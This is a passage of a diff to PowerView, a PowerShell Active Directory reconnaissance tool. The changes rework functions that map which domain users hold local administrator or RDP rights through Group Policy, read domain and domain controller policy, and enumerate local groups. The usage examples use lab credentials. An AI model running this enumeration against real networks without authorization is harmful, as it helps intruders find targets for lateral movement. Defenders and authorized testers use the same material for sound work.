- $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
- $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup
- $AppliedSite | Add-Member Noteproperty 'Domain' $Domain
- $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname
- $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid
- $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath
- $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType
- $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
- $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
- $AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')
- $AppliedSite
+ $GPOLocalGroupMapping = New-Object PSObject
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
+ $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
+ $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping')
+ $GPOLocalGroupMapping
+ }
}
}
}
}
-function Find-GPOComputerAdmin {
+function Get-DomainGPOComputerLocalGroupMapping {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Takes a computer (or GPO) object and determines what users/groups are in the specified
+local group for the machine through GPO correlation.
+
+Author: @harmj0y
+License: BSD 3-Clause
+Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup
+
+.DESCRIPTION
+
+This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups
+are in the specified local group for a target machine through GPO correlation.
- Takes a computer (or GPO) object and determines what users/groups are in the specified
- local group for the machine.
+If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to
+determine the OU the computer is a part of. Then resolve the computer's site name with
+Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to
+enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For
+each resulting GPO group, resolve the resulting user/group name to a full AD object and
+return the results. This will return the domain objects that are members of the specified
+-LocalGroup for the given computer.
- Author: @harmj0y
- License: BSD 3-Clause
- Required Dependencies: Get-NetComputer, Get-SiteName, Get-NetSite, Get-NetGPOGroup, Get-ADObject, Get-NetGroupMember, Convert-SidToName
- Optional Dependencies: None
+Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and
+localgroup specifications.
- .DESCRIPTION
-
- If a -ComputerName is specified, retrieve the complete computer object, attempt to
- determine the OU the computer is a part of. Then resolve the computer's site name with
- Get-SiteName and retrieve all sites object Get-NetSite. For those results, attempt to
- enumerate all linked GPOs and associated local group settings with Get-NetGPOGroup. For
- each resulting GPO group, resolve the resulting user/group name to a full AD object and
- return the results. This will return the domain objects that are members of the specified
- -LocalGroup for the given computer.
+.PARAMETER ComputerIdentity
- Inverse of Find-GPOLocation.
+A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
+SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
+or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for.
- .PARAMETER ComputerName
+.PARAMETER OUIdentity
- The computer to determine local administrative access to.
+An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
+GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for.
- .PARAMETER OUName
+.PARAMETER LocalGroup
- OU name to determine who has local adminisrtative acess to computers
- within it.
+The local group to check access against.
+Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
+or a custom local SID. Defaults to local 'Administrators'.
- .PARAMETER Domain
+.PARAMETER Domain
- Optional domain the computer/OU exists in, defaults to the current domain.
+Specifies the domain to enumerate GPOs for, defaults to the current domain.
- .PARAMETER DomainController
+.PARAMETER Server
- Domain controller to reflect LDAP queries through.
+Specifies an Active Directory server (domain controller) to bind to.
- .PARAMETER Recurse
+.PARAMETER SearchScope
- Switch. If a returned member is a group, recurse and get all members.
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- .PARAMETER LocalGroup
+.PARAMETER ResultPageSize
- The local group to check access against.
- Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
- or a custom local SID.
- Defaults to local 'Administrators'.
+Specifies the PageSize to set for the LDAP searcher object.
- .PARAMETER UsePSDrive
+.PARAMETER ServerTimeLimit
- Switch. Mount any found policy files with temporary PSDrives.
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- .PARAMETER PageSize
+.PARAMETER Tombstone
- The PageSize to set for the LDAP searcher object.
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- .EXAMPLE
+.PARAMETER Credential
- PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local
-
- Finds users who have local admin rights over WINDOWS3 through GPO correlation.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP
-
- Finds users who have RDP rights over WINDOWS3 through GPO correlation.
+Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local
+
+Finds users who have local admin rights over WINDOWS3 through GPO correlation.
+
+.EXAMPLE
+
+Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP
+
+Finds users who have RDP rights over WINDOWS4 through GPO correlation.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local
+
+.OUTPUTS
+
+PowerView.GGPOComputerLocalGroupMember
#>
- [CmdletBinding()]
- Param (
- [Parameter(ValueFromPipeline=$True)]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.GGPOComputerLocalGroupMember')]
+ [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')]
+ Param(
+ [Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')]
[String]
- $ComputerName,
+ $ComputerIdentity,
+
+ [Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')]
+ [Alias('OU')]
+ [String]
+ $OUIdentity,
[String]
- $OUName,
+ [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
+ $LocalGroup = 'Administrators',
+ [ValidateNotNullOrEmpty()]
[String]
$Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $DomainController,
+ $SearchBase,
- [Switch]
- $Recurse,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
- $LocalGroup = 'Administrators',
+ $SearchScope = 'Subtree',
- [Switch]
- $UsePSDrive,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200
- )
+ $ServerTimeLimit,
- process {
-
- if(!$ComputerName -and !$OUName) {
- Throw "-ComputerName or -OUName must be provided"
- }
+ [Switch]
+ $Tombstone,
- $GPOGroups = @()
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ BEGIN {
+ $CommonArguments = @{}
+ if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
+ }
- if($ComputerName) {
- $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
+ PROCESS {
+ if ($PSBoundParameters['ComputerIdentity']) {
+ $Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname'
- if(!$Computers) {
- throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
+ if (-not $Computers) {
+ throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name."
}
-
- $TargetOUs = @()
- ForEach($Computer in $Computers) {
- # extract all OUs a computer is a part of
- $DN = $Computer.distinguishedname
- $TargetOUs += $DN.split(",") | ForEach-Object {
- if($_.startswith("OU=")) {
- $DN.substring($DN.indexof($_))
+ ForEach ($Computer in $Computers) {
+
+ $GPOGuids = @()
+
+ # extract any GPOs linked to this computer's OU through gpLink
+ $DN = $Computer.distinguishedname
+ $OUIndex = $DN.IndexOf('OU=')
+ if ($OUIndex -gt 0) {
+ $OUName = $DN.SubString($OUIndex)
+ }
+ if ($OUName) {
+ $GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object {
+ Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value }
}
}
- }
- # enumerate any linked GPOs for the computer's site
- $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
- if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
- $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
- if($_.gplink) {
- $_.gplink.split("][") | ForEach-Object {
- if ($_.startswith("LDAP")) {
- $_.split(";")[0]
- }
- }
+ # extract any GPOs linked to this computer's site through gpLink
+ Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)"
+ $ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName
+ if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) {
+ $GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object {
+ Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value }
}
- } | ForEach-Object {
- $GPOGroupArgs = @{
- 'Domain' = $Domain
- 'DomainController' = $DomainController
- 'ResolveMemberSIDs' = $True
- 'UsePSDrive' = $UsePSDrive
- 'PageSize' = $PageSize
- }
-
- # for each GPO link, get any locally set user/group SIDs
- Get-NetGPOGroup @GPOGroupArgs
}
- }
- }
- else {
- $TargetOUs = @($OUName)
- }
-
- Write-Verbose "Target OUs: $TargetOUs"
- $TargetOUs | Where-Object {$_} | ForEach-Object {
+ # process any GPO local group settings from the GPO GUID set
+ $GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object {
+ $GPOGroup = $_
- $GPOLinks = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object {
- # and then get any GPO links
- if($_.gplink) {
- $_.gplink.split("][") | ForEach-Object {
- if ($_.startswith("LDAP")) {
- $_.split(";")[0]
- }
+ if($GPOGroup.GroupMembers) {
+ $GPOMembers = $GPOGroup.GroupMembers
+ }
+ else {
+ $GPOMembers = $GPOGroup.GroupSID
}
- }
- }
-
- $GPOGroupArgs = @{
- 'Domain' = $Domain
- 'DomainController' = $DomainController
- 'UsePSDrive' = $UsePSDrive
- 'ResolveMemberSIDs' = $True
- 'PageSize' = $PageSize
- }
- # extract GPO groups that are set through any gPlink for this OU
- $GPOGroups += Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {
- ForEach($GPOLink in $GPOLinks) {
- $Name = $_.GPOName
- if($GPOLink -like "*$Name*") {
- $_
+ $GPOMembers | ForEach-Object {
+ $Object = Get-DomainObject @CommonArguments -Identity $_
+ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
+
+ $GPOComputerLocalGroupMember = New-Object PSObject
+ $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname
+ $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
+ $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
+ $GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_
+ $GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
+ $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
+ $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
+ $GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType
+ $GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember')
+ $GPOComputerLocalGroupMember
}
}
}
}
+ }
+}
- # for each found GPO group, resolve the SIDs of the members
- $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object {
- $GPOGroup = $_
- if($GPOGroup.GroupMembers) {
- $GPOMembers = $GPOGroup.GroupMembers
- }
- else {
- $GPOMembers = $GPOGroup.GroupSID
- }
+function Get-DomainPolicy {
+<#
+.SYNOPSIS
- $GPOMembers | ForEach-Object {
- # resolve this SID to a domain object
- $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_
+Returns the default domain policy or the domain controller policy for the current
+domain or a specified domain/domain controller.
- $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID
- $GPOComputerAdmin = New-Object PSObject
- $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_
- $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup
- $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
- $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
- $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
- $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType
- $GPOComputerAdmin
+.DESCRIPTION
- # if we're recursing and the current result object is a group
- if($Recurse -and $GPOComputerAdmin.isGroup) {
+Returns the default domain policy or the domain controller policy for the current
+domain or a specified domain/domain controller using Get-DomainGPO.
- Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object {
+.PARAMETER Domain
- $MemberDN = $_.distinguishedName
+The domain to query for default policies, defaults to the current domain.
- # extract the FQDN from the Distinguished Name
- $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
+.PARAMETER Source
- $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
+Extract 'Domain' or 'DC' (domain controller) policies.
- if ($_.samAccountName) {
- # forest users have the samAccountName set
- $MemberName = $_.samAccountName
- }
- else {
- # external trust users have a SID, so convert it
- try {
- $MemberName = Convert-SidToName $_.cn
- }
- catch {
- # if there's a problem contacting the domain to resolve the SID
- $MemberName = $_.cn
- }
- }
+.PARAMETER Server
- $GPOComputerAdmin = New-Object PSObject
- $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid
- $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou
- $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
- $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
- $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
- $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep
- $GPOComputerAdmin
- }
- }
- }
- }
- }
-}
+Specifies an Active Directory server (domain controller) to bind to.
+.PARAMETER ServerTimeLimit
-function Get-DomainPolicy {
-<#
- .SYNOPSIS
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- Returns the default domain or DC policy for a given
- domain or domain controller.
+.PARAMETER ResolveSids
- Thanks Sean Metacalf (@pyrotek3) for the idea and guidance.
+Switch. Resolve Sids from a DC policy to object names.
- .PARAMETER Source
+.PARAMETER Credential
- Extract Domain or DC (domain controller) policies.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .PARAMETER Domain
+.EXAMPLE
- The domain to query for default policies, defaults to the current domain.
+Get-DomainPolicy
- .PARAMETER DomainController
+Returns the domain policy for the current domain.
- Domain controller to reflect LDAP queries through.
+.EXAMPLE
- .PARAMETER ResolveSids
+Get-DomainPolicy -Domain dev.testlab.local
- Switch. Resolve Sids from a DC policy to object names.
+Returns the domain policy for the dev.testlab.local domain.
- .PARAMETER UsePSDrive
+.EXAMPLE
- Switch. Mount any found policy files with temporary PSDrives.
+Get-DomainPolicy -Source DC -Domain dev.testlab.local
- .EXAMPLE
+Returns the policy for the dev.testlab.local domain controller.
- PS C:\> Get-DomainPolicy
+.EXAMPLE
- Returns the domain policy for the current domain.
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainPolicy -Credential $Cred
- .EXAMPLE
+.OUTPUTS
- PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local
+Hashtable
- Returns the policy for the MASTER.testlab.local domain controller.
+Ouputs a hashtable representing the parsed GptTmpl.inf file.
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType([Hashtable])]
[CmdletBinding()]
- Param (
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('Name')]
+ [ValidateNotNullOrEmpty()]
[String]
- [ValidateSet("Domain","DC")]
- $Source ="Domain",
+ $Domain,
+ [ValidateSet('Domain', 'DC', 'DomainController')]
[String]
- $Domain,
+ $Source = 'Domain',
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $DomainController,
+ $Server,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
[Switch]
$ResolveSids,
- [Switch]
- $UsePSDrive
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- if($Source -eq "Domain") {
- # query the given domain for the default domain policy object
- $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}"
-
- if($GPO) {
- # grab the GptTmpl.inf file and parse it
- $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
+ BEGIN {
+ $SearcherArguments = @{}
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
- $ParseArgs = @{
- 'GptTmplPath' = $GptTmplPath
- 'UsePSDrive' = $UsePSDrive
- }
+ $ConvertArguments = @{}
+ if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
+ if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
+ }
- # parse the GptTmpl.inf
- Get-GptTmpl @ParseArgs
+ PROCESS {
+ if ($PSBoundParameters['Domain']) {
+ $SearcherArguments['Domain'] = $Domain
+ $ConvertArguments['Domain'] = $Domain
}
- }
- elseif($Source -eq "DC") {
- # query the given domain/dc for the default domain controller policy object
- $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}"
-
- if($GPO) {
- # grab the GptTmpl.inf file and parse it
- $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
+ if ($Source -eq 'Domain') {
+ # query the given domain for the default domain policy object (name = {31B2F340-016D-11D2-945F-00C04FB984F9})
+ $SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}'
+ $GPO = Get-DomainGPO @SearcherArguments
- $ParseArgs = @{
- 'GptTmplPath' = $GptTmplPath
- 'UsePSDrive' = $UsePSDrive
+ if ($GPO) {
+ # grab the GptTmpl.inf file and parse it
+ $GptTmplPath = $GPO.gpcfilesyspath + '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
+ $ParseArgs = @{'GptTmplPath' = $GptTmplPath}
+ if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
+ Get-GptTmpl @ParseArgs
}
-
- # parse the GptTmpl.inf
- Get-GptTmpl @ParseArgs | ForEach-Object {
- if($ResolveSids) {
- # if we're resolving sids in PrivilegeRights to names
- $Policy = New-Object PSObject
- $_.psobject.properties | ForEach-Object {
- if( $_.Name -eq 'PrivilegeRights') {
-
- $PrivilegeRights = New-Object PSObject
- # for every nested SID member of PrivilegeRights, try to unpack everything and resolve the SIDs as appropriate
- $_.Value.psobject.properties | ForEach-Object {
-
- $Sids = $_.Value | ForEach-Object {
+ }
+ else {
+ # query the given domain/dc for the default domain controller policy object (name = {6AC1786C-016F-11D2-945F-00C04FB984F9})
+ $SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}'
+ $GPO = Get-DomainGPO @SearcherArguments
+
+ if ($GPO) {
+ # grab the GptTmpl.inf file and parse it
+ $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
+
+ $ParseArgs = @{'GptTmplPath' = $GptTmplPath}
+ if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
+
+ # parse the GptTmpl.inf
+ Get-GptTmpl @ParseArgs | ForEach-Object {
+ if ($PSBoundParameters['ResolveSids']) {
+ $Root = $_
+ $PrivilegeRightsResovled = @{}
+ # if we're resolving sids in PrivilegeRights to names
+ if ($Root.'Privilege Rights') {
+ $PrivilegeRights = $Root.'Privilege Rights'
+ ForEach ($PrivilegeRight in $PrivilegeRights.Keys) {
+ $PrivilegeRightsResovled[$PrivilegeRight] = $PrivilegeRights."$PrivilegeRight" | ForEach-Object {
try {
- if($_ -isnot [System.Array]) {
- Convert-SidToName $_
- }
- else {
- $_ | ForEach-Object { Convert-SidToName $_ }
- }
+ $_ | ForEach-Object { ConvertFrom-SID -ObjectSid ($_.Trim('*')) @ConvertArguments }
}
catch {
- Write-Verbose "Error resolving SID : $_"
+ Write-Verbose "[Get-DomainPolicy] Error resolving SID : $_"
+ $_
}
}
-
- $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids
}
-
- $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights
- }
- else {
- $Policy | Add-Member Noteproperty $_.Name $_.Value
}
+ $Root.'Privilege Rights' = $PrivilegeRightsResovled
+ $Root
}
- $Policy
+ else { $_ }
}
- else { $_ }
}
}
}
}
-
########################################################
#
# Functions that enumerate a single host, either through
-# WinNT, WMI, remote registry, or API calls
+# WinNT, WMI, remote registry, or API calls
# (with PSReflect).
#
########################################################
function Get-NetLocalGroup {
<#
- .SYNOPSIS
+.SYNOPSIS
- Gets a list of all current users in a specified local group,
- or returns the names of all local groups with -ListGroups.
+Enumerates the local groups on the local (or remote) machine.
- .PARAMETER ComputerName
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: PSReflect
- The hostname or IP to query for local group users.
+.DESCRIPTION
- .PARAMETER ComputerFile
+This function will enumerate the names and descriptions for the
+local groups on the current, or remote, machine. By default, the Win32 API
+call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT"
+causes the WinNT service provider to be used instead, which returns group
+SIDs along with the group names and descriptions/comments.
- File of hostnames/IPs to query for local group users.
+.PARAMETER ComputerName
- .PARAMETER GroupName
+Specifies the hostname to query for sessions (also accepts IP addresses).
+Defaults to the localhost.
- The local group name to query for users. If not given, it defaults to "Administrators"
+.PARAMETER Method
- .PARAMETER ListGroups
+The collection method to use, defaults to 'API', also accepts 'WinNT'.
- Switch. List all the local groups instead of their members.
- Old Get-NetLocalGroups functionality.
+.PARAMETER Credential
- .PARAMETER Recurse
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to a remote machine. Only applicable with "-Method WinNT".
- Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.
+.EXAMPLE
- .PARAMETER API
+Get-NetLocalGroup
- Switch. Use API calls instead of the WinNT service provider. Less information,
- but the results are faster.
+ComputerName GroupName Comment
+------------ --------- -------
+WINDOWS1 Administrators Administrators have comple...
+WINDOWS1 Backup Operators Backup Operators can overr...
+WINDOWS1 Cryptographic Operators Members are authorized to ...
+...
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetLocalGroup
+Get-NetLocalGroup -Method Winnt
- Returns the usernames that of members of localgroup "Administrators" on the local host.
+ComputerName GroupName GroupSID Comment
+------------ --------- -------- -------
+WINDOWS1 Administrators S-1-5-32-544 Administrators hav...
+WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c...
+WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author...
+...
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP
+Get-NetLocalGroup -ComputerName primary.testlab.local
- Returns all the local administrator accounts for WINDOWSXP
+ComputerName GroupName Comment
+------------ --------- -------
+primary.testlab.local Administrators Administrators have comple...
+primary.testlab.local Users Users are prevented from m...
+primary.testlab.local Guests Guests have the same acces...
+primary.testlab.local Print Operators Members can administer dom...
+primary.testlab.local Backup Operators Backup Operators can overr...
- .EXAMPLE
+.OUTPUTS
- PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse
+PowerView.LocalGroup.API
- Returns all effective local/domain users/groups that can access WINDOWS7 with
- local administrative privileges.
+Custom PSObject with translated group property fields from API results.
- .EXAMPLE
+PowerView.LocalGroup.WinNT
- PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups
+Custom PSObject with translated group property fields from WinNT results.
- Returns all local groups on the WINDOWS7 host.
+.LINK
- .EXAMPLE
+https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx
+#>
- PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.LocalGroup.API')]
+ [OutputType('PowerView.LocalGroup.WinNT')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $ComputerName = $Env:COMPUTERNAME,
- Returns all local groups on the the passed hosts using API calls instead of the
- WinNT service provider.
